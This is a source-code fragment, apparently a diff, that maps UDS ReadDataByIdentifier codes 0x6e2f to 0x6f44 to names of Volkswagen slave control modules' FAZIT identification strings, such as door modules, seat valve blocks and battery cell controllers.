+UDS_RDBI.dataIdentifiers[0x6e2f] = "NOx_sensor_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e30] = "Ioniser_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e31] = "Multi_function_steering_wheel_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e32] = "Left_rear_door_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e33] = "Right_rear_door_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e34] = "Left_rear_massage_seat_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e35] = "Right_rear_massage_seat_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e36] = "Display_unit_1_for_multimedia_system_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e37] = "Battery_monitoring_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e38] = "Roof_blind_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e39] = "Sun_roof_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e3a] = "Steering_angle_sender_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e3b] = "Lane_change_assistant 2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e3c] = "Pitch_rate_sender_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e3d] = "ESP_sensor_unit_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e3e] = "Electronic_ignition_lock_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e3f] = "Air_quality_sensor_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e40] = "Display_unit_2_for_multimedia_system_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e41] = "Telephone_handset_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e42] = "Chip_card_reader_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e43] = "Traffic_data_aerial_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e44] = "Hands_free_system_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e45] = "Telephone_handset_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e46] = "Display_unit_front_for_multimedia_system_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e47] = "Multimedia_operating_unit_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e48] = "Digital_sound_system_control_module_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e49] = "Electrically_adjustable_steering_column_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e4a] = "Interface_for_external_multimedia_unit_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e4b] = "Relative_Air_Humidity_Interior_Sender_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e4c] = "Drivers_door_rear_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e4d] = "Passengers_rear_door_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e4e] = "Sensor_controlled_power_rear_lid_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e4f] = "Camera_for_night_vision_system_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e50] = "Relative_humidity_sensor_in_fresh_air_intake_duct_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e51] = "Rear_spoiler_adjustment_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e52] = "Roof_blind_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e53] = "Motor_for_wind_deflector_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e54] = "Voltage_stabilizer_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e55] = "Switch_module_for_driver_seat_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e56] = "Switch_module_for_front_passenger_seat_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e57] = "Switch_module_for_rear_seat_driver_side_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e58] = "Switch_module_for_rear_seat_front_passenger_side_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e59] = "Switch_module_2_for_driver_seat_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e5a] = "Battery_charger_unit_1_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e5b] = "Battery_charger_unit_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e5c] = "Battery_charger_unit_3_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e5d] = "Air_conditioning_compressor_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e5e] = "Neck_heating_left_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e5f] = "Neck_heating_right_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e60] = "Switch_module_2_for_front_passenger_seat_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e61] = "Switch_module_2_for_rear_seat_front_passenger_side_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e62] = "Compact_disc_database_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e63] = "Rear_climatronic_operating_and_display_unit_left_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e64] = "Rear_climatronic_operating_and_display_unit_right_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e65] = "Door_handle_front_left_Kessy_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e66] = "Door_handle_front_right_Kessy_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e67] = "Door_handle_rear_left_Kessy_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e68] = "Door_handle_rear_right_Kessy_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e69] = "Power_converter_DC_AC_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e6a] = "Battery_monitoring_control_module_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e6b] = "Matrix_headlamp_powermodule_1_left_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e6c] = "Matrix_headlamp_powermodule_1_right_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e6d] = "High_beam_powermodule_left_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e6e] = "High_beam_powermodule_right_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e6f] = "Air_suspension_compressor_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e70] = "Rear_brake_actuator_1_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e71] = "Rear_brake_actuator_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e72] = "Analog_clock_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e73] = "Rear_door_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e79] = "Data_medium_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e7a] = "Operating_unit_center_console_1_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e7b] = "Operating_unit_center_console_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e7c] = "Operating_unit_center_console_3_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e7d] = "Operating_unit_center_console_4_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e7e] = "Interface_for_radiodisplay_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e7f] = "Parkassist_entry_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e86] = "Belt_pretensioner_3rd_row_left_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e87] = "Belt_pretensioner_3rd_row_right_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e88] = "Injection_valve_heater_control_unit_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e89] = "Steering_column_switch_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e8a] = "Brake_assistance_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e8b] = "Trailer_articulation_angle_sensor_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e8c] = "Cup_holder_with_heater_and_cooling_element_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e8d] = "Range_of_vision_sensing_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e8e] = "Convenience_and_driver_assist_operating_unit_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e8f] = "Cradle_rear_climatronic_operating_and_display_unit_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e90] = "Trailer_weight_nose_weight_detection_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e91] = "Sensor_carbon_dioxide_concentration_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e92] = "Sensor_fine_dust_concentration_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e93] = "Volume_control_1_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e94] = "Belt_buckle_presenter_2nd_row_left_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e95] = "Belt_buckle_presenter_2nd_row_right_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e96] = "Operating_and_display_unit_6_for_air_conditioning_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e97] = "Active_accelerator_pedal_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e98] = "Multimedia_operating_unit_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e99] = "Display_unit_3_for_multimedia_system_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e9a] = "Display_unit_4_for_multimedia_system_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e9b] = "Display_unit_5_for_multimedia_system_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e9c] = "Control_module_for_auxiliary_blower_motors_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e9d] = "Operating_and_display_unit_3_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e9e] = "Operating_and_display_unit_4_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e9f] = "Operating_and_display_unit_5_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ea0] = "Side Sensor Driver Front_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ea1] = "Side Sensor Passenger Front_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ea2] = "Side Sensor Driver Rear_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ea3] = "Side Sensor Passenger Rear_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ea4] = "Front Sensor Driver_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ea5] = "Front Sensor Passenger_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ea6] = "Pedestrian Protection Driver_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ea7] = "Pedestrian Protection Passenger_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ea8] = "Rear Sensor Center_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ea9] = "Pedestrian Protection Center_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eaa] = "Pedestrian Protection Contact_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eab] = "Pedestrian_protection_driver_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eac] = "Pedestrian_protection_passenger_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ead] = "Central_sensor_XY_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eae] = "Refrigerant_pressure_and_temperature_sender_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eaf] = "Refrigerant_pressure_and_temperature_sender_3_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eb0] = "Switch_for_rear_multicontour_seat_driver_side_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eb1] = "Valve_block_1_in_driver_side_rear_seat_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eb2] = "Valve_block_2_in_driver_side_rear_seat_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eb3] = "Valve_block_3_in_driver_side_rear_seat_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eb4] = "Switch_for_rear_multicontour_seat_passenger_side_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eb5] = "Valve_block_1_in_passenger_side_rear_seat_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eb6] = "Valve_block_2_in_passenger_side_rear_seat_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eb7] = "Valve_block_3_in_passenger_side_rear_seat_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eb8] = "Switch_for_front_multicontour_seat_driver_side_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eb9] = "Valve_block_1_in_driver_side_front_seat_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eba] = "Valve_block_2_in_driver_side_front_seat_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ebb] = "Valve_block_3_in_driver_side_front_seat_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ebc] = "Switch_for_front_multicontour_seat_passenger_side_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ebd] = "Valve_block_1_in_passenger_side_front_seat_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ebe] = "Valve_block_2_in_passenger_side_front_seat_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ebf] = "Valve_block_3_in_passenger_side_front_seat_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ec0] = "Coolant_heater_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ec1] = "Seat_backrest_fan_1_front_left_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ec2] = "Seat_backrest_fan_2_front_left_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ec3] = "Seat_cushion_fan_1_front_left_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ec4] = "Seat_cushion_fan_2_front_left_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ec5] = "Seat_backrest_fan_1_front_right_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ec6] = "Seat_backrest_fan_2_front_right_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ec7] = "Seat_cushion_fan_1_front_right_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ec8] = "Seat_cushion_fan_2_front_right_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ec9] = "Operating_and_display_unit_1_for_air_conditioning_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eca] = "Operating_and_display_unit_2_for_air_conditioning_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ecb] = "Operating_and_display_unit_3_for_air_conditioning_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ecc] = "Operating_and_display_unit_4_for_air_conditioning_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ecd] = "Operating_and_display_unit_5_for_air_conditioning_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ece] = "Pedestrian_protection_left_hand_side_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ecf] = "Pedestrian_protection_right_hand_side_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ed0] = "Battery_junction_box_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ed1] = "Cell_module_controller_1_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ed2] = "Cell_module_controller_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ed3] = "Cell_module_controller_3_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ed4] = "Cell_module_controller_4_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ed5] = "Cell_module_controller_5_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ed6] = "Cell_module_controller_6_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ed7] = "Cell_module_controller_7_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ed8] = "Cell_module_controller_8_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ed9] = "Cell_module_controller_9_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eda] = "Cell_module_controller_10_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6edb] = "Cell_module_controller_11_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6edc] = "Cell_module_controller_12_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6edd] = "Seat_backrest_fan_1_rear_left_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ede] = "Seat_backrest_fan_2_rear_left_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6edf] = "Seat_cushion_fan_1_rear_left_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ee0] = "Seat_cushion_fan_2_rear_left_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ee1] = "Seat_backrest_fan_1_rear_right_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ee2] = "Seat_backrest_fan_2_rear_right_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ee3] = "Seat_cushion_fan_1_rear_right_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ee4] = "Seat_cushion_fan_2_rear_right_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ee5] = "Auxiliary_blower_motor_control_1_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ee6] = "Auxiliary_blower_motor_control_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ee7] = "Infrared_sender_for_front_observation_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ee8] = "Starter_generator_control_module_sub_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ee9] = "Media_player_1_sub_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eea] = "Media_player_2_sub_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eeb] = "Dedicated_short_range_communication_aerial_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eec] = "Refrigerant_pressure_and_temperature_sender_4_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eed] = "Refrigerant_pressure_and_temperature_sender_5_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eee] = "Refrigerant_pressure_and_temperature_sender_6_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eef] = "Air_coolant_actuator_1_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ef0] = "Air_coolant_actuator_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ef1] = "Cell_module_controller_13_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ef2] = "Cell_module_controller_14_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ef3] = "Cell_module_controller_15_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ef5] = "Seat_heating_rear_1_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ef6] = "LED_warning_indicator_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ef7] = "Automatic_transmission_fluid_pump_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ef8] = "Manual_transmission_fluid_pump_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6ef9] = "Convenience_and_driver_assist_operating_unit_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6efb] = "Air_coolant_actuator_3_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6efc] = "Valve_block_4_in_driver_side_rear_seat_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6efd] = "Valve_block_4_in_passenger_side_rear_seat_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6efe] = "Valve_block_4_in_driver_side_front_seat_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6eff] = "Valve_block_4_in_passenger_side_front_seat_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f01] = "Rear_climatronic_operating_and_display_unit_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f02] = "Refrigerant_expansion_valve_1_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f03] = "Refrigerant_expansion_valve_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f04] = "Refrigerant_expansion_valve_3_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f05] = "Refrigerant_shut_off_valve_1_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f06] = "Refrigerant_shut_off_valve_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f07] = "Refrigerant_shut_off_valve_3_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f08] = "Refrigerant_shut_off_valve_4_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f09] = "Refrigerant_shut_off_valve_5_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f0a] = "Sunlight_sensor_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f0b] = "Near_field_communication_control_module_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f0c] = "Clutch_control_unit_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f0d] = "Electrical_charger_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f0e] = "Rear_light_left_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f0f] = "Rear_light_right_1_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f10] = "Rear_light_right_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f11] = "Sunlight_sensor_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f12] = "Radiator_shutter_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f13] = "Radiator_shutter_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f14] = "Radiator_shutter_3_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f15] = "Radiator_shutter_4_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f18] = "Special_key_operating_unit_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f19] = "Radio_interface_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f1a] = "Video_self_protection_recorder_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f1b] = "Special_vehicle_assist_interface_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f1c] = "Electric_system_disconnection_diode_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f1d] = "Cradle_rear_climatronic_operating_and_display_unit_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f1e] = "Belt_pretensioner_2nd_row_left_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f1f] = "Belt_pretensioner_2nd_row_right_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f20] = "Electrical_variable_camshaft_phasing_1_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f21] = "Electrical_variable_camshaft_phasing_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f22] = "Wireless_operating_unit_1_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f23] = "Wireless_operating_unit_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f24] = "Front_windshield_washer_pump_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f25] = "Air_quality_sensor_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f26] = "Fragrancing_system_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f27] = "Coolant_valve_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f28] = "Near_field_communication_control_module_3_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f29] = "Interior_monitoring_rear_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f2a] = "Cooler_fan_1_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f2b] = "Control_unit_heating_1_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f2c] = "Control_unit_heating_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f2d] = "Control_unit_heating_3_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f2e] = "Control_unit_heating_4_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f2f] = "Operating_unit_drive_mode_selection_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f30] = "Side_sensor_a-pillar_driver_front_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f31] = "Side_sensor_a-pillar_passenger_front_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f32] = "Sensor_high_voltage_system_1_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f33] = "Side_sensor_b-pillar_driver_front_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f34] = "Side_sensor_b-pillar_passenger_front_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f35] = "Multi_function_steering_wheel_control_module_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f36] = "Gear_selection_display_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f37] = "Cooler_fan_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f38] = "Gear_selector_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f39] = "Interior_light_module_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f3a] = "Radio_control_center_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f3b] = "Multimedia_extension_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f3c] = "Control_unit_differential_lock_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f3d] = "Control_unit_ride_control_system_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f3e] = "Control_unit_hands_on_detection_steering_wheel_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f3f] = "Front_climatronic_operating_and_display_unit_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f40] = "Auxiliary_display_unit_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f41] = "Card_reader_tv_tuner_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f42] = "Park_lock_actuator_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f43] = "Media_connector_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6f44] = "Catalyst_heating_VW_Slave_FAZIT_string" 